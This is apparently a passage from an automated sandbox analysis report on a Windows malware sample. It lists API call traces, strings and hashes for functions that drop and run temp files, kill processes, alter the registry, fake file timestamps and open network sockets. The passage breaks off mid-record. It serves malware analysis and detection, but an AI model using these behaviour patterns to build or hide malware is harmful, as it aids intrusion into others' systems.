lstrcmpiA.KERNEL32(00000000,0040A81C), ref: 004041CD
OpenProcess.KERNEL32(00100201,00000000,?,00000000,0040A812,00000000,00000128,00000000,00000128), ref: 004041E4
Process32Next.KERNEL32(00000000,00000128), ref: 00404203
CloseHandle.KERNEL32(00000000,00000000,00000128), ref: 0040420D
SetPriorityClass.KERNEL32(?,00000040,00000000,00000000,00000128), ref: 00404220
TerminateProcess.KERNEL32(?,00000000,00000000,00000000,00000128), ref: 0040423C
WaitForSingleObject.KERNEL32(?,00001388,00000000,00000000,00000128), ref: 00404258
CloseHandle.KERNEL32(?,?,00001388,00000000,00000000,00000128), ref: 00404265
SetFileAttributesA.KERNEL32(?,00000080,00000000,00000000,00000128), ref: 00404280
DeleteFileA.KERNEL32(?,?,00000080,00000000,00000000,00000128), ref: 00404286
RegOpenKeyExA.ADVAPI32(80000001,00408800,00000000,00020019,?,00000002,00000000), ref: 004042AF
RegCreateKeyExA.ADVAPI32(80000002,00408800,00000000,00000000,00000000,000F003F,004087B8,?,00000000,80000001,00408800,00000000,00020019,?,00000002,00000000), ref: 004042E8
RegQueryValueExA.ADVAPI32(?,004087D8,00000000,00000000,0040C160,00000012), ref: 00404319
RegSetValueExA.ADVAPI32(?,004087D8,00000000,00000003,0040C160,00000012,?,004087D8,00000000,00000000,0040C160,00000012), ref: 00404339
RegCloseKey.ADVAPI32(?,?,004087D8,00000000,00000000,0040C160,00000012), ref: 00404351
RegDeleteKeyA.ADVAPI32(80000002,00408800), ref: 00404367
RegCloseKey.ADVAPI32(?,80000002,00408800,00000000,00000000,00000000,000F003F,004087B8,?,00000000,80000001,00408800,00000000,00020019,?,00000002), ref: 00404373
CloseHandle.KERNEL32(?,00000000), ref: 004043A5

Strings

%02X, xrefs: 004040D7

Memory Dump Source

Source File: 00000002.00000002.4169915284.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.4169817521.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.4170005351.0000000000407000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.4170107415.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.4170179256.000000000040B000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.4170253605.000000000040D000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_rmass.jbxd

Similarity

API ID: Close$CreateDeleteHandleProcessValue$FileOpenProcess32lstrcmpi$AttributesClassCurrentErrorFirstLastMutexNextObjectPriorityQuerySingleSnapshotTerminateToolhelp32Waitwsprintf
String ID: %02X
API String ID: 3062393105-436463671
Opcode ID: 4b843ba0dfa878c76d5f0ed71b8aee37ab02393f4a3f4a0a0d3012ceadaa2a40
Instruction ID: 8e1618e2bde4c7783b0b7d31d7bca8840ba3e1b0216afcb436e071a04c66a11f
Opcode Fuzzy Hash: 4b843ba0dfa878c76d5f0ed71b8aee37ab02393f4a3f4a0a0d3012ceadaa2a40
Instruction Fuzzy Hash: BE81D670288741A9E630AB728D46F5F71D8EFD0748F60483FB785B50D2DABC95019A1F

Function 0040233A Relevance: 44.0, APIs: 24, Strings: 1, Instructions: 243
filestringprocessCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcpy.KERNEL32(?,?), ref: 00402377
GetTempPathA.KERNEL32(00000104,?,?,?,?,00000000,?,00000000,?,00402E29,00000000,00000000,?,004087D8,00000000,00000003), ref: 004023FF
lstrcpy.KERNEL32(?,?), ref: 00402423
lstrcat.KERNEL32(00000000,?), ref: 00402429
lstrcat.KERNEL32(00000000,00000000), ref: 0040242F
CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000,?,tmp,00000000,?), ref: 0040245E

Part of subcall function 00401C3E: lstrcpy.KERNEL32(?), ref: 00401C6A
Part of subcall function 00401C3E: lstrlen.KERNEL32(00000000,?), ref: 00401C70
Part of subcall function 00401C3E: htons.WS2_32(00000050), ref: 00401CD1
Part of subcall function 00401C3E: socket.WS2_32(00000002,00000001,00000006), ref: 00401D2C
Part of subcall function 00401C3E: closesocket.WS2_32(00000000), ref: 00401D4F

GetTempFileNameA.KERNEL32(?,tmp,00000000,?), ref: 0040243F
WriteFile.KERNEL32(00000000,?,00000000,0040C160,00000000,?,40000000,00000000,00000000,00000002,00000080,00000000,?,tmp,00000000,?), ref: 0040248E
CloseHandle.KERNEL32(00000000,?,40000000,00000000,00000000,00000002,00000080,00000000,?,tmp,00000000,?), ref: 004024B8
DeleteFileA.KERNEL32(?,00000000,?,40000000,00000000,00000000,00000002,00000080,00000000,?,tmp,00000000,?), ref: 004024CB
GetTempFileNameA.KERNEL32(?,tmp,00000000,?,00000000,?,40000000,00000000,00000000,00000002,00000080,00000000,?,tmp,00000000,?), ref: 004024F9
CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000,?,tmp,00000000,?,00000000,?,40000000,00000000,00000000), ref: 00402511
DeleteFileA.KERNEL32(?,?,40000000,00000000,00000000,00000002,00000080,00000000,?,tmp,00000000,?,00000000,?,40000000,00000000), ref: 00402529
WriteFile.KERNEL32(00000000,00409C60,00000600,0040C160,00000000,?,40000000,00000000,00000000,00000002,00000080,00000000,?,tmp,00000000,?), ref: 0040254A
CloseHandle.KERNEL32(00000000,00000000,00409C60,00000600,0040C160,00000000,?,40000000,00000000,00000000,00000002,00000080,00000000,?,tmp,00000000), ref: 00402550
GetStartupInfoA.KERNEL32(00000000), ref: 0040255A
CreateProcessA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,0040C160,00000000,00000000,?,40000000,00000000,00000000), ref: 0040259C
DeleteFileA.KERNEL32(?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,0040C160,00000000,00000000,?,40000000,00000000), ref: 004025AD
DeleteFileA.KERNEL32(?,?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,0040C160,00000000,00000000,?,40000000), ref: 004025BF
CloseHandle.KERNEL32(00000012,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,0040C160,00000000,00000000,?,40000000,00000000), ref: 004025D6
lstrcpy.KERNEL32(00000004,?), ref: 004025F2
lstrcpy.KERNEL32(00000108,?), ref: 0040260B
CreateThread.KERNEL32(00000000,00010000,00402301,00000000,00000000), ref: 0040262B
CloseHandle.KERNEL32(00000000,00000000,00010000,00402301,00000000,00000000,?,00000004,?,00000012,?,00000000,00000000,00000000,00000000,00000000), ref: 00402631

Strings

tmp, xrefs: 00402439, 004024EC

Memory Dump Source

Source File: 00000002.00000002.4169915284.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.4169817521.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.4170005351.0000000000407000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.4170107415.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.4170179256.000000000040B000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.4170253605.000000000040D000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_rmass.jbxd

Similarity

API ID: File$lstrcpy$CloseCreateDeleteHandle$Temp$NameWritelstrcat$InfoPathProcessStartupThreadclosesockethtonslstrlensocket
String ID: tmp
API String ID: 2443235674-753892680
Opcode ID: 3c938a3c4ed0502ead8fbc6508b6617e41a6e1fe5ee0186bdbdd78f985dc1ea7
Instruction ID: 80098ff5335807751e7b060e98490b1c26acefe31690528cc0e00fc22b84f569
Opcode Fuzzy Hash: 3c938a3c4ed0502ead8fbc6508b6617e41a6e1fe5ee0186bdbdd78f985dc1ea7
Instruction Fuzzy Hash: 7F71E9712047447AE731A6758E4EFEB329C8F80704F50483BB644FA2C2EAFCD945866E

Function 004043CE Relevance: 39.2, APIs: 26, Instructions: 171stringfiletimeCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 004043DE
GetFileTime.KERNEL32(00000000,?,?,?,?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 0040440A
CloseHandle.KERNEL32(?,00000000,?,?,?,?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00404416
GetSystemDirectoryA.KERNEL32(?,000000FA), ref: 0040443B
lstrcat.KERNEL32(?,0040B041), ref: 0040444B
lstrcat.KERNEL32(00000000,?), ref: 00404451

Part of subcall function 004010F7: CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 0040111F
Part of subcall function 004010F7: SetFileAttributesA.KERNEL32(?,00000080,?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 0040113D
Part of subcall function 004010F7: CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000,?,00000080,?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00401155

lstrcpy.KERNEL32(?,0040A63F), ref: 00404482
lstrcat.KERNEL32(00000000,?), ref: 00404488
ExpandEnvironmentStringsA.KERNEL32(00000000,00000000,?,0040A63F,0040A812,?,00000104,00000000,?,0040B041,0040A812,?,000000FA,?,80000000,00000001), ref: 0040448E
lstrcpy.KERNEL32(?,0040A634), ref: 004044B5
lstrcat.KERNEL32(00000000,?), ref: 004044BB
ExpandEnvironmentStringsA.KERNEL32(00000000,00000000,?,0040A634,0040A812,?,00000104,00000000,00000000,?,0040A63F,0040A812,?,00000104,00000000,?), ref: 004044C1

Part of subcall function 004010F7: CloseHandle.KERNEL32(00000000,00000000,?,?,?,00000000,00000000,?,00001000,?,00000000,?,40000000,00000000,00000000,00000002), ref: 00401168
Part of subcall function 004010F7: CloseHandle.KERNEL32(00000000,00000000,00000000,?,?,?,00000000,00000000,?,00001000,?,00000000,?,40000000,00000000,00000000), ref: 0040116E

CreateFileA.KERNEL32(?,80000100,00000001,00000000,00000003,00000000,00000000,00000000,?,0040B041,0040A812,?,000000FA,?,80000000,00000001), ref: 004044FD
SetFileTime.KERNEL32(00000000,?,?,?,?,80000100,00000001,00000000,00000003,00000000,00000000,00000000,?,0040B041,0040A812,?), ref: 00404522
CloseHandle.KERNEL32(00000000,00000000,?,?,?,?,80000100,00000001,00000000,00000003,00000000,00000000,00000000,?,0040B041,0040A812), ref: 00404528
SetFileAttributesA.KERNEL32(?,00000021,00000000,?,0040B041,0040A812,?,000000FA,?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00404537
CloseHandle.KERNEL32(?,?,00000021,00000000,?,0040B041,0040A812,?,000000FA,?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00404540
GetStartupInfoA.KERNEL32(?), ref: 0040454D
CreateProcessA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,?,?,00000000,00000000,000000FF,?,?), ref: 0040456A
ExitProcess.KERNEL32(00000000,00000002,00000000,00000000,?,00000104,?,0040AA4F), ref: 00404571
CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,0040A65C,?,00000104), ref: 00404594
GetFileSize.KERNEL32(00000000,00000000,?,80000000,00000001,00000000,00000003,00000000,00000000,00000000,00000002,00000000,00000000,?,00000104), ref: 004045AC
ReadFile.KERNEL32(?,?,00000000,?,00000000,00000000,00000000,?,80000000,00000001,00000000,00000003,00000000,00000000,00000000,00000002), ref: 004045D2
CloseHandle.KERNEL32(?,?,?,00000000,?,00000000,00000000,00000000,?,80000000,00000001,00000000,00000003,00000000,00000000,00000000), ref: 004045DE
CreateThread.KERNEL32(00000000,00001000,00401038,?,00000000,?), ref: 0040460D
CloseHandle.KERNEL32(00000000,?,80000000,00000001,00000000,00000003,00000000,00000000,0040A65C,?,00000104), ref: 00404613

Memory Dump Source

Source File: 00000002.00000002.4169915284.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.4169817521.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.4170005351.0000000000407000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.4170107415.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.4170179256.000000000040B000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.4170253605.000000000040D000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_rmass.jbxd

Similarity

API ID: File$CloseCreateHandle$lstrcat$AttributesEnvironmentExpandProcessStringsTimelstrcpy$DirectoryExitInfoReadSizeStartupSystemThread
String ID:
API String ID: 2485267943-0
Opcode ID: 6ff50a01f6224ecbf4f55eacc9611310d8b20c4031eecf7e03b9da64a118d53a
Instruction ID: c1e49d937d8c5efd7fd0b864e7910445273e4a438fe921e26ff5a38db31511d0
Opcode Fuzzy Hash: 6ff50a01f6224ecbf4f55eacc9611310d8b20c4031eecf7e03b9da64a118d53a
Instruction Fuzzy Hash: BB5155B16447407AE630A6718C4AFDF729C9F84708F90883FB384B61D2EBBC95454B6E

Function 00401C3E Relevance: 21.2, APIs: 10, Strings: 2, Instructions: 203
networkstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcpy.KERNEL32(?), ref: 00401C6A
lstrlen.KERNEL32(00000000,?), ref: 00401C70
htons.WS2_32(00000050), ref: 00401CD1
inet_addr.WS2_32(?), ref: 00401CEC
gethostbyname.WS2_32(?), ref: 00401CFB
socket.WS2_32(00000002,00000001,00000006), ref: 00401D2C
closesocket.WS2_32(00000000), ref: 00401D4F
wsprintfA.USER32 ref: 00401D9A
send.WS2_32(00000000,?,00000000,00000000), ref: 00401DB0
lstrcmpiA.KERNEL32(?,0040A4FC), ref: 00401DE1

Strings

P, xrefs: 00401D79
0, xrefs: 00401DD3

Memory Dump Source

Source File: 00000002.00000002.4169915284.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.4169817521.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.4170005351.0000000000407000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.4170107415.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.4170179256.000000000040B000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.4170253605.000000000040D000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_rmass.jbxd

Similarity

API ID: closesocketgethostbynamehtonsinet_addrlstrcmpilstrcpylstrlensendsocketwsprintf
String ID: 0$P
API String ID: 2963668025-1101630672
Opcode ID: 1a47fe40bbcc8dca4af4f1c788d1ddca76ee9ae9e5735430513397900e8184fa
Instruction ID: 0b531a99b3d5abf5cb650746cb0befc7b08862aa7035e578805121d5229d263d
Opcode Fuzzy Hash: 1a47fe40bbcc8dca4af4f1c788d1ddca76ee9ae9e5735430513397900e8184fa
Instruction Fuzzy Hash: 1C71E3B0640215AFE7209B64CC85B5F76A8AF05358F1041BAF705FF2E2D77899448FAE

Function 004014F6 Relevance: 21.2, APIs: 14, Instructions: 188
filetimestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetFileAttributesA.KERNEL32(?,00000080), ref: 00401505
CreateFileA.KERNEL32(?,C0000000,00000001,00000000,00000004,00000080,00000000,?,00000080), ref: 0040151D
GetFileTime.KERNEL32(00000000,0040C2B0,00000000,0040C2C0,?,C0000000,00000001,00000000,00000004,00000080,00000000,?,00000080), ref: 0040154F
GetFileSize.KERNEL32(00000004,00000000,?,C0000000,00000001,00000000,00000004,00000080,00000000,?,00000080), ref: 0040155A
ReadFile.KERNEL32(C0000000,00000000,00000000,00000000,00000000,00000004,00000000,?,C0000000,00000001,00000000,00000004,00000080,00000000,?,00000080), ref: 00401586
lstrlen.KERNEL32(0040A716,C0000000,00000000,00000000,00000000,00000000,00000004,00000000,?,C0000000,00000001), ref: 00401631
CharLowerA.USER32(00000000,?,0040A716,C0000000,00000000,00000000,00000000,00000000,00000004,00000000,?,C0000000,00000001), ref: 0040165E
SetFilePointer.KERNEL32(00000001,00000000,00000000,00000000,C0000000,00000000,00000000,00000000,00000000,00000004,00000000,?,C0000000,00000001,00000000,00000004), ref: 004016C2
WriteFile.KERNEL32(C0000000,0040A260,00000045,00000000,00000000,00000001,00000000,00000000,00000000,C0000000,00000000,00000000,00000000,00000000,00000004,00000000), ref: 004016D9
WriteFile.KERNEL32(C0000000,00000000,?,00000000,00000000,C0000000,0040A260,00000045,00000000,00000000,00000001,00000000,00000000,00000000,C0000000,00000000), ref: 004016F6
SetEndOfFile.KERNEL32(00000080,C0000000,00000000,?,00000000,00000000,C0000000,0040A260,00000045,00000000,00000000,00000001,00000000,00000000,00000000,C0000000), ref: 004016FF
WriteFile.KERNEL32(C0000000,0040A260,00000045,00000000,00000000,00000004,00000000,?,C0000000,00000001,00000000,00000004,00000080,00000000,?,00000080), ref: 00401721
SetFileTime.KERNEL32(00000001,0040C2B0,00000000,0040C2C0,C0000000,0040A260,00000045,00000000,00000000,00000004,00000000,?,C0000000,00000001,00000000,00000004), ref: 00401736
CloseHandle.KERNEL32(00000080,00000001,0040C2B0,00000000,0040C2C0,C0000000,0040A260,00000045,00000000,00000000,00000004,00000000,?,C0000000,00000001,00000000), ref: 0040173F

Memory Dump Source

Source File: 00000002.00000002.4169915284.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.4169817521.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.4170005351.0000000000407000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.4170107415.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.4170179256.000000000040B000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.4170253605.000000000040D000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_rmass.jbxd

Similarity

API ID: File$Write$Time$AttributesCharCloseCreateHandleLowerPointerReadSizelstrlen
String ID:
API String ID: 2270073009-0
Opcode ID: 75c9b1837742f44632287542d2aaf00f5913d8aedabbecc5dee763100b72f216
Instruction ID: ed07d2a39fb80e6dc9f9b9060e9089f4a8c87d352c27c362815906d0368f32f6
Opcode Fuzzy Hash: 75c9b1837742f44632287542d2aaf00f5913d8aedabbecc5dee763100b72f216
Instruction Fuzzy Hash: 59619B70608340AFD711DF25CC89B2BBBE5AB84308F54893FF095BA1E1D279D945CB5A

Function 00401A88 Relevance: 18.1, APIs: 12, Instructions: 127
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegCreateKeyExA.ADVAPI32(80000001,0040A8C0,00000000,00000000,00000000,000F003F,00000000,?,00000000,?,?,?,?,00401E58), ref: 00401AC6
RegEnumKeyA.ADVAPI32(80000003,?,?,00001000), ref: 00401C1D
RegCloseKey.ADVAPI32(00000000,80000001,0040A8C0,00000000,00000000,00000000,000F003F,00000000,?,00000000,?,?,?,?,00401E58), ref: 00401C2E

Memory Dump Source

Source File: 00000002.00000002.4169915284.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.4169817521.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.4170005351.0000000000407000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.4170107415.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.4170179256.000000000040B000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.4170253605.000000000040D000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_rmass.jbxd

Similarity

API ID: CloseCreateEnum
String ID:
API String ID: 2702359829-0
Opcode ID: cd7fec485b54cda58acb8ea02c4e1b58a6aeec14a1bf8912a55b22aa94fa8f95
Instruction ID: b3c6845c7cc7358e21721668acba52ac81ea92210d0409fa8cf9a8fc2de8423e
Opcode Fuzzy Hash: cd7fec485b54cda58acb8ea02c4e1b58a6aeec14a1bf8912a55b22aa94fa8f95
Instruction Fuzzy Hash: 9141C47118834579F721EA618C41FAB76ACEF84788F00083FB685B50D1EBBCD914D66A

Function 004010F7 Relevance: 15.1, APIs: 10, Instructions: 77
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 0040111F
SetFileAttributesA.KERNEL32(?,00000080,?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 0040113D
CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000,?,00000080,?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00401155
ReadFile.KERNEL32(00000000,?,00001000,?,00000000,?,40000000,00000000,00000000,00000002,00000080,00000000,?,00000080,?,80000000), ref: 004011A7
CloseHandle.KERNEL32(00000000,00000000,?,00001000,?,00000000,00000000,?,?,?,00000000,00000000,?,00001000,?,00000000), ref: 004011B1
CloseHandle.KERNEL32(00000000,00000000,00000000,?,00001000,?,00000000,00000000,?,?,?,00000000,00000000,?,00001000,?), ref: 004011B7
DeleteFileA.KERNEL32(?,00000000,00000000,00000000,?,00001000,?,00000000,00000000,?,?,?,00000000,00000000,?,00001000), ref: 004011BD

Memory Dump Source

Source File: 00000002.00000002.4169915284.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.4169817521.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.4170005351.0000000000407000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.4170107415.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.4170179256.000000000040B000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.4170253605.000000000040D000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_rmass.jbxd

Similarity

API ID: File$CloseCreateHandle$AttributesDeleteRead
String ID:
API String ID: 3513576528-0
Opcode ID: e07ab072a376e9fd85f017d93fc4e4df201cd26cbaaf0a77b9365d65499761c2
Instruction ID: a6e5716d89433afdb7d9f4f158dd905d05207354bf63bbd911023db8829accde
Opcode Fuzzy Hash: e07ab072a376e9fd85f017d93fc4e4df201cd26cbaaf0a77b9365d65499761c2
Instruction Fuzzy Hash: CF115130350B4436E63172329C4AFAF219CCF49B58F90853BB754F91D1D6BCA8454A6E

Function 00401038 Relevance: 14.0, APIs: 7, Strings: 1, Instructions: 45
processfilesynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetStartupInfoA.KERNEL32(?), ref: 00401046
CreateProcessA.KERNEL32(?,--k33p,00000000,00000000,00000000,00000000,00000000,00000000,?), ref: 00401061
CreateFileA.KERNEL32(?,80000000,00000000,00000000,00000004,00000000,00000000,?,--k33p,00000000,00000000,00000000,00000000,00000000,00000000,?), ref: 00401076
WaitForSingleObject.KERNEL32(?,000000FF,?,80000000,00000000,00000000,00000004,00000000,00000000,?,--k33p,00000000,00000000,00000000,00000000,00000000), ref: 00401083
CloseHandle.KERNEL32(00000000,?,000000FF,?,80000000,00000000,00000000,00000004,00000000,00000000,?,--k33p,00000000,00000000,00000000,00000000), ref: 0040109A
CloseHandle.KERNEL32(?,?,000000FF,?,80000000,00000000,00000000,00000004,00000000,00000000,?,--k33p,00000000,00000000,00000000,00000000), ref: 004010A2
CloseHandle.KERNEL32(?,?,?,000000FF,?,80000000,00000000,00000000,00000004,00000000,00000000,?,--k33p,00000000,00000000,00000000), ref: 004010AB

Strings

--k33p, xrefs: 0040105B

Memory Dump Source

Source File: 00000002.00000002.4169915284.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.4169817521.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.4170005351.0000000000407000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.4170107415.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.4170179256.000000000040B000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.4170253605.000000000040D000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_rmass.jbxd

Similarity

API ID: CloseHandle$Create$FileInfoObjectProcessSingleStartupWait
String ID: --k33p
API String ID: 881816827-1573217081
Opcode ID: 807f5fe90a1dcedad22a97875e0d3c87e9d417af5c40b2292c48e610f551639b
Instruction ID: 8066bfb0b53967ada52967b4418e7945b86cdbe5de05057fbb1ad19309dc722b
Opcode Fuzzy Hash: 807f5fe90a1dcedad22a97875e0d3c87e9d417af5c40b2292c48e610f551639b
Instruction Fuzzy Hash: 94F05E70244B0576E62036328C8FF2F6559DF01B24F608A3BB660790E2EA7CA8515D6E

Function 00403F9D Relevance: 13.6, APIs: 9, Instructions: 66filestringCOMMON

Download Yara Rule

APIs

GetSystemDirectoryA.KERNEL32(?,000000F2), ref: 00403FA3
lstrcat.KERNEL32(?,0040A72B), ref: 00403FC0
CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,?,000000FE,0040A87E,0040A975,0040A996,00000000,?,00000104,kernel32.dll), ref: 00403FDC
SetFilePointer.KERNEL32(00000000,000000F4,00000000,00000002,?,80000000,00000001,00000000,00000003,00000000,00000000,?,0040A71F), ref: 00403FF8
ReadFile.KERNEL32(?,0040C0A0,00000004,?,00000000,00000000,000000F4,00000000,00000002,?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00404015
ReadFile.KERNEL32(?,0040C090,00000004,?,00000000,?,0040C0A0,00000004,?,00000000,00000000,000000F4,00000000,00000002,?,80000000), ref: 0040402B
ReadFile.KERNEL32(?,0040C0B0,00000004,?,00000000,?,0040C090,00000004,?,00000000,?,0040C0A0,00000004,?,00000000,00000000), ref: 00404041
CloseHandle.KERNEL32(?,?,0040C0B0,00000004,?,00000000,?,0040C090,00000004,?,00000000,?,0040C0A0,00000004,?,00000000), ref: 0040404D
lstrcmpiA.KERNEL32(00000000,0040A812), ref: 00404084

Memory Dump Source

Source File: 00000002.00000002.4169915284.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.4169817521.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.4170005351.0000000000407000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.4170107415.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.4170179256.000000000040B000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.4170253605.000000000040D000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_rmass.jbxd

Similarity

API ID: File$Read$CloseCreateDirectoryHandlePointerSystemlstrcatlstrcmpi
String ID:
API String ID: 1203944850-0
Opcode ID: fd7503d05dd9aafdcd1f9c5270e4b3c7dc0465dc9de87bbd4885b638dea914c4
Instruction ID: 35304083c46ce8bdd99aca2beccb525c336441cd391f258b3a4e2715a73e65a2
Opcode Fuzzy Hash: fd7503d05dd9aafdcd1f9c5270e4b3c7dc0465dc9de87bbd4885b638dea914c4
Instruction Fuzzy Hash: DA1166B0644741F9F6306B71CC4BF4B2598EB81718FA0853B7355B90D1DBBC54048A2E

Function 00401983 Relevance: 12.1, APIs: 8, Instructions: 82
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ioctlsocket.WS2_32(00000000,8004667E,00000001), ref: 004019A3
connect.WS2_32(00000000,00000002,00000010), ref: 004019B4
ioctlsocket.WS2_32(00000000,8004667E,00000001), ref: 004019C4
WSAGetLastError.WS2_32 ref: 004019D0
ioctlsocket.WS2_32(00000000,8004667E,00000001), ref: 004019E3

Memory Dump Source

Source File: 00000002.00000002.4169915284.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.4169817521.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.4170005351.0000000000407000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.4170107415.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.4170179256.000000000040B000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.4170253605.000000000040D000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_rmass.jbxd

Similarity

API ID: ioctlsocket$ErrorLastconnect
String ID:
API String ID: 1886816560-0
Opcode ID: 2400e972c0e9ddf2b9affed38759af4aef1d47a06b3db7d643a6f2f69f199e33
Instruction ID: 7ca4e1aa6efa4e4985c6b63a06a3ad70c8f0fbc5506d5683ad8c2bedbe06a21d
